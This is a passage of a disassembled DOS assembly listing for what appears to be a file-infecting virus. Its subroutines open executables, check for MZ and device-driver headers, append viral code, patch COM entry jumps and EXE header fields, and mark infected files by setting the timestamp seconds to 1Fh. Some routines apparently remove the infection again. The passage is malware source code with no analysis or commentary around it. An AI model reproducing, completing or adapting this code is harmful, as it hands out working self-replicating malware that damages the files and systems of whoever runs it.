  801. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  802. ;                   SUBROUTINE
  803. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  804.  
  805. sub_13        proc    near
  806.         mov    ax,4200h
  807.         xor    cx,cx            ; Zero register
  808.         int    3            ; Debug breakpoint
  809.         retn
  810. sub_13        endp
  811.  
  812.  
  813. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  814. ;                   SUBROUTINE
  815. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  816.  
  817. sub_14        proc    near
  818.         mov    ax,4202h
  819.         xor    cx,cx            ; Zero register
  820.         xor    dx,dx            ; Zero register
  821.         int    3            ; Debug breakpoint
  822.         retn
  823. sub_14        endp
  824.  
  825.  
  826. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  827. ;                   SUBROUTINE
  828. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  829.  
  830. sub_15        proc    near
  831.         push    ax
  832.         and    ah,ah
  833.         jz    loc_56            ; Jump if zero
  834.         xor    dx,dx            ; Zero register
  835.         call    sub_13
  836.         mov    ah,3Fh            ; '?'
  837.         lea    dx,[si+91Eh]        ; Load effective addr
  838.         mov    cx,6
  839.         int    3            ; Debug breakpoint
  840.         cmp    ax,6
  841.         jne    loc_56            ; Jump if not equal
  842.         pop    ax
  843.         push    ax
  844.         cmp    ah,2
  845.         jb    loc_55            ; Jump if below
  846.         jnz    loc_54            ; Jump if not zero
  847.         cmp    word ptr ds:[91Eh][si],5A4Dh
  848.         jne    loc_56            ; Jump if not equal
  849.         jmp    short loc_55
  850. loc_54:
  851.         cmp    word ptr ds:[91Eh][si],0FFFFh
  852.         jne    loc_56            ; Jump if not equal
  853.         cmp    word ptr ds:[920h][si],0FFFFh
  854.         jne    loc_56            ; Jump if not equal
  855. loc_55:
  856.         pop    ax
  857.         stc                ; Set carry flag
  858.         retn
  859. loc_56:
  860.         pop    ax
  861.         clc                ; Clear carry flag
  862.         retn
  863. sub_15        endp
  864.  
  865.  
  866. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  867. ;                   SUBROUTINE
  868. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  869.  
  870. sub_16        proc    near
  871.         push    ax
  872.         mov    ax,5700h
  873.         int    3            ; Debug breakpoint
  874.         mov    word ptr ds:[93Fh][si],cx
  875.         mov    word ptr ds:[941h][si],dx
  876.         and    cx,1Fh
  877.         cmp    cx,1Fh
  878.         pop    ax
  879.         retn
  880. sub_16        endp
  881.  
  882.  
  883. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  884. ;                   SUBROUTINE
  885. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  886.  
  887. sub_17        proc    near
  888.         call    sub_14
  889.         mov    ah,40h            ; '@'
  890.         mov    dx,si
  891.         mov    cx,923h
  892.         int    3            ; Debug breakpoint
  893.         retn
  894. sub_17        endp
  895.  
  896.  
  897. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  898. ;                   SUBROUTINE
  899. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  900.  
  901. sub_18        proc    near
  902.         call    sub_14
  903.         add    ax,1FFh
  904.         adc    dx,0
  905.         mov    al,ah
  906.         mov    ah,dl
  907.         shr    ax,1            ; Shift w/zeros fill
  908.         mov    word ptr ds:[91Eh][si],ax
  909.         mov    dx,4
  910.         call    sub_13
  911.         mov    ah,40h            ; '@'
  912.         lea    dx,[si+91Eh]        ; Load effective addr
  913.         mov    cx,2
  914.         int    3            ; Debug breakpoint
  915.         retn
  916. sub_18        endp
  917.  
  918.  
  919. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  920. ;                   SUBROUTINE
  921. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  922.  
  923. sub_19        proc    near
  924.         push    es
  925.         push    bx
  926.         xor    bx,bx            ; Zero register
  927.         mov    ds,bx
  928.         les    bx,dword ptr ds:data_6e    ; Load 32 bit ptr
  929.         mov    word ptr cs:[937h][si],bx
  930.         mov    word ptr cs:[939h][si],es
  931.         lea    bx,[si+41Dh]        ; Load effective addr
  932.         mov    ds:data_6e,bx
  933.         mov    word ptr ds:data_6e+2,cs
  934.         push    ds
  935.         push    cs
  936.         push    cs
  937.         pop    ds
  938.         pop    es
  939.         push    ax
  940.         cld                ; Clear direction
  941.         lea    dx,[si+970h]        ; Load effective addr
  942.         mov    di,dx
  943.         add    al,61h            ; 'a'
  944.         mov    ah,3Ah            ; ':'
  945.         stosw                ; Store ax to es:[di]
  946.         mov    word ptr [di],5Ch
  947.         mov    ah,5Ah            ; 'Z'
  948.         xor    cx,cx            ; Zero register
  949.         int    3            ; Debug breakpoint
  950.         jc    loc_59            ; Jump if carry Set
  951.         mov    bx,ax
  952.         mov    ah,3Eh            ; '>'
  953.         int    3            ; Debug breakpoint
  954.         jc    loc_59            ; Jump if carry Set
  955.         mov    ah,41h            ; 'A'
  956.         int    3            ; Debug breakpoint
  957. loc_59:
  958.         pop    ax
  959.         pop    ds
  960.         les    bx,dword ptr cs:[937h][si]    ; Load 32 bit ptr
  961.         mov    ds:data_6e,bx
  962.         mov    word ptr ds:data_6e+2,es
  963.         push    cs
  964.         pop    ds
  965.         pop    bx
  966.         pop    es
  967.         retn
  968. sub_19        endp
  969.  
  970.  
  971. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  972. ;                   SUBROUTINE
  973. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  974.  
  975. sub_20        proc    near
  976.         push    cs
  977.         push    cs
  978.         pop    ds
  979.         pop    es
  980.         call    sub_15
  981.         jc    loc_60            ; Jump if carry Set
  982.         jmp    loc_69
  983. loc_60:
  984.         call    sub_16
  985.         jnz    loc_61            ; Jump if not zero
  986.         jmp    loc_69
  987. loc_61:
  988.         call    sub_19
  989.         jnc    loc_62            ; Jump if carry=0
  990.         jmp    loc_69
  991. loc_62:
  992.         cmp    ah,1
  993.         je    loc_65            ; Jump if equal
  994.         cmp    ah,2
  995.         jne    loc_63            ; Jump if not equal
  996.         jmp    loc_67
  997. loc_63:
  998.         mov    ah,3Fh            ; '?'
  999.         lea    dx,[si+42h]        ; Load effective addr
  1000.         nop                ;*ASM fixup - displacement
  1001.         mov    cx,2
  1002.         int    3            ; Debug breakpoint
  1003.         mov    ah,3Fh            ; '?'
  1004.         lea    dx,[si+60h]        ; Load effective addr
  1005.         nop                ;*ASM fixup - displacement
  1006.         mov    cx,2
  1007.         int    3            ; Debug breakpoint
  1008.         mov    dx,[si+60h]
  1009.         call    sub_13
  1010.         mov    ah,3Fh            ; '?'
  1011.         lea    dx,[si+91Eh]        ; Load effective addr
  1012.         mov    cx,5
  1013.         int    3            ; Debug breakpoint
  1014.         call    sub_14
  1015.         cmp    ax,0F000h
  1016.         jbe    loc_64            ; Jump if below or =
  1017.         jmp    loc_69
  1018. loc_64:
  1019.         mov    word ptr ds:[925h][si],ax
  1020.         mov    dx,6
  1021.         call    sub_13
  1022.         mov    ah,40h            ; '@'
  1023.         lea    dx,[si+925h]        ; Load effective addr
  1024.         mov    cx,2
  1025.         int    3            ; Debug breakpoint
  1026.         mov    dx,[si+60h]
  1027.         call    sub_13
  1028.         mov    ah,40h            ; '@'
  1029.         lea    dx,[si+919h]        ; Load effective addr
  1030.         mov    cx,5
  1031.         int    3            ; Debug breakpoint
  1032.         call    sub_17
  1033.         jmp    loc_68
  1034. loc_65:
  1035.         call    sub_14
  1036.         cmp    ax,0F000h
  1037.         jbe    loc_66            ; Jump if below or =
  1038.         jmp    loc_69
  1039. loc_66:
  1040.         add    ax,123h
  1041.         mov    word ptr ds:[925h][si],ax
  1042.         xor    dx,dx            ; Zero register
  1043.         call    sub_13
  1044.         mov    byte ptr ds:[924h][si],0E9h
  1045.         mov    ah,40h            ; '@'
  1046.         lea    dx,[si+924h]        ; Load effective addr
  1047.         mov    cx,3
  1048.         int    3            ; Debug breakpoint
  1049.         call    sub_17
  1050.         jmp    short loc_68
  1051. loc_67:
  1052.         mov    dx,4
  1053.         call    sub_13
  1054.         mov    ah,3Fh            ; '?'
  1055.         lea    dx,[si+91Eh]        ; Load effective addr
  1056.         mov    cx,6
  1057.         int    3            ; Debug breakpoint
  1058.         call    sub_14
  1059.         add    ax,1FFh
  1060.         adc    dx,0
  1061.         shr    dx,1            ; Shift w/zeros fill
  1062.         rcr    ax,1            ; Rotate thru carry
  1063.         mov    al,ah
  1064.         mov    ah,dl
  1065.         cmp    ax,word ptr ds:[91Eh][si]
  1066.         jne    loc_69            ; Jump if not equal
  1067.         mov    dx,14h
  1068.         call    sub_13
  1069.         mov    ah,3Fh            ; '?'
  1070.         lea    dx,[si+122h]        ; Load effective addr
  1071.         mov    cx,4
  1072.         int    3            ; Debug breakpoint
  1073.         call    sub_14
  1074.         mov    di,word ptr ds:[922h][si]
  1075.         mov    cl,4
  1076.         shl    di,cl            ; Shift w/zeros fill
  1077.         sub    ax,di
  1078.         sbb    dx,0
  1079.         add    ax,0FEh
  1080.         adc    dx,0
  1081.         mov    cl,0Ch
  1082.         shl    dx,cl            ; Shift w/zeros fill
  1083.         mov    word ptr ds:[91Eh][si],ax
  1084.         mov    word ptr ds:[920h][si],dx
  1085.         mov    dx,14h
  1086.         call    sub_13
  1087.         mov    ah,40h            ; '@'
  1088.         lea    dx,[si+91Eh]        ; Load effective addr
  1089.         mov    cx,4
  1090.         int    3            ; Debug breakpoint
  1091.         call    sub_17
  1092.         call    sub_18
  1093. loc_68:
  1094.         mov    ax,5701h
  1095.         mov    cx,word ptr ds:[93Fh][si]
  1096.         mov    dx,word ptr ds:[941h][si]
  1097.         or    cx,1Fh
  1098.         int    3            ; Debug breakpoint
  1099. loc_69:
  1100.         xor    dx,dx            ; Zero register
  1101.         call    sub_13
  1102.         retn
  1103. sub_20        endp
  1104.  
  1105.  
  1106. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1107. ;                   SUBROUTINE
  1108. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1109.  
  1110. sub_21        proc    near
  1111.         push    cs
  1112.         push    cs
  1113.         pop    ds
  1114.         pop    es
  1115.         call    sub_15
  1116.         jc    loc_70            ; Jump if carry Set
  1117.         jmp    loc_79
  1118. loc_70:
  1119.         call    sub_16
  1120.         jz    loc_71            ; Jump if zero
  1121.         jmp    loc_79
  1122. loc_71:
  1123.         call    sub_19
  1124.         jnc    loc_72            ; Jump if carry=0
  1125.         jmp    loc_79
  1126. loc_72:
  1127.         cmp    ah,1
  1128.         je    loc_74            ; Jump if equal
  1129.         cmp    ah,2
  1130.         jne    loc_73            ; Jump if not equal
  1131.         jmp    loc_76
  1132. loc_73:
  1133.         mov    ah,3Fh            ; '?'
  1134.         lea    dx,[si+42h]        ; Load effective addr
  1135.         nop                ;*ASM fixup - displacement
  1136.         mov    cx,2
  1137.         int    3            ; Debug breakpoint
  1138.         mov    dx,[si+42h]
  1139.         add    dx,42h
  1140.         nop                ;*ASM fixup - sign extn byte
  1141.         call    sub_13
  1142.         mov    ah,3Fh            ; '?'
  1143.         lea    dx,[si+91Eh]        ; Load effective addr
  1144.         mov    cx,2
  1145.         int    3            ; Debug breakpoint
  1146.         mov    dx,6
  1147.         call    sub_13
  1148.         mov    ah,40h            ; '@'
  1149.         lea    dx,[si+91Eh]        ; Load effective addr
  1150.         mov    cx,2
  1151.         int    3            ; Debug breakpoint
  1152.         mov    dx,[si+42h]
  1153.         add    dx,91Eh
  1154.         call    sub_13
  1155.         mov    ah,3Fh            ; '?'
  1156.         lea    dx,[si+91Eh]        ; Load effective addr
  1157.         mov    cx,5
  1158.         int    3            ; Debug breakpoint
  1159.         mov    dx,8
  1160.         call    sub_13
  1161.         mov    ah,3Fh            ; '?'
  1162.         lea    dx,[si+60h]        ; Load effective addr
  1163.         nop                ;*ASM fixup - displacement
  1164.         mov    cx,2
  1165.         int    3            ; Debug breakpoint
  1166.         mov    dx,[si+60h]
  1167.         call    sub_13
  1168.         mov    ah,40h            ; '@'
  1169.         lea    dx,[si+91Eh]        ; Load effective addr
  1170.         mov    cx,5
  1171.         int    3            ; Debug breakpoint
  1172.         mov    dx,[si+42h]
  1173.         call    sub_13
  1174.         mov    ah,40h            ; '@'
  1175.         xor    cx,cx            ; Zero register
  1176.         int    3            ; Debug breakpoint
  1177.         jmp    loc_78
  1178. loc_74:
  1179.         cmp    byte ptr ds:[91Eh][si],0E9h
  1180.         je    loc_75            ; Jump if equal
  1181.         jmp    loc_79
  1182. loc_75:
  1183.         sub    word ptr ds:[91Fh][si],123h
  1184.         mov    dx,word ptr ds:[91Fh][si]
  1185.         add    dx,91Eh
  1186.         call    sub_13
  1187.         mov    ah,3Fh            ; '?'
  1188.         lea    dx,[si+924h]        ; Load effective addr
  1189.         mov    cx,3
  1190.         int    3            ; Debug breakpoint
  1191.         xor    dx,dx            ; Zero register
  1192.         call    sub_13
  1193.         mov    ah,40h            ; '@'
  1194.         lea    dx,[si+924h]        ; Load effective addr
  1195.         mov    cx,3
  1196.         int    3            ; Debug breakpoint
  1197.         mov    dx,word ptr ds:[91Fh][si]
  1198.         call    sub_13
  1199.         mov    ah,40h            ; '@'
  1200.         xor    cx,cx            ; Zero register
  1201.         int    3            ; Debug breakpoint
  1202.         jmp    short loc_78
  1203. loc_76:
  1204.         mov    dx,8
  1205.         call    sub_13
  1206.         mov    ah,3Fh            ; '?'
  1207.         lea    dx,[si+91Eh]        ; Load effective addr
  1208.         mov    cx,2
  1209.         int    3            ; Debug breakpoint
  1210.         mov    dx,14h
  1211.         call    sub_13
  1212.         mov    ah,3Fh            ; '?'
  1213.         lea    dx,[si+122h]        ; Load effective addr
  1214.         mov    cx,4
  1215.         int    3            ; Debug breakpoint
  1216.         mov    cl,0Ch
  1217.         shr    word ptr ds:[124h][si],cl    ; Shift w/zeros fill
  1218.         mov    ax,word ptr ds:[91Eh][si]
  1219.         mov    cl,4
  1220.         shl    ax,cl            ; Shift w/zeros fill
  1221.         sub    ax,0FEh
  1222.         cwd                ; Word to double word
  1223.         add    word ptr ds:[122h][si],ax
  1224.         adc    word ptr ds:[124h][si],dx
  1225.         mov    ax,4200h
  1226.         mov    dx,word ptr ds:[122h][si]
  1227.         mov    cx,word ptr ds:[124h][si]
  1228.         add    dx,122h
  1229.         adc    cx,0
  1230.         int    3            ; Debug breakpoint
  1231.         mov    ah,3Fh            ; '?'
  1232.         lea    dx,[si+91Eh]        ; Load effective addr
  1233.         mov    cx,4
  1234.         int    3            ; Debug breakpoint
  1235.         mov    dx,14h
  1236.         call    sub_13
  1237.         mov    ah,40h            ; '@'
  1238.         lea    dx,[si+91Eh]        ; Load effective addr
  1239.         mov    cx,4
  1240.         int    3            ; Debug breakpoint
  1241.         mov    ax,4200h
  1242.         mov    dx,word ptr ds:[122h][si]
  1243.         mov    cx,word ptr ds:[124h][si]
  1244.         int    3            ; Debug breakpoint
  1245.         mov    ah,40h            ; '@'
  1246.         xor    cx,cx            ; Zero register
  1247.         int    3            ; Debug breakpoint
  1248.         call    sub_18
  1249. loc_78:
  1250.         mov    ax,5701h
  1251.         mov    cx,word ptr ds:[93Fh][si]
  1252.         mov    dx,word ptr ds:[941h][si]
  1253.         and    cx,0FFE0h
  1254.         int    3            ; Debug breakpoint
  1255. loc_79:
  1256.         xor    dx,dx            ; Zero register
  1257.         call    sub_13
  1258.         retn
  1259. sub_21        endp
  1260.  
  1261.         db     26h, 11h,0EAh, 4Ah, 00h, 00h
  1262.         db     70h,0B0h,0F3h,0E6h, 60h,0B9h
  1263.         db     1Ah, 1Ah
  1264.         db    716 dup (1Ah)
  1265.  
  1266. seg_a        ends
  1267.  
  1268.  
  1269.  
  1270.         end    start
  1271.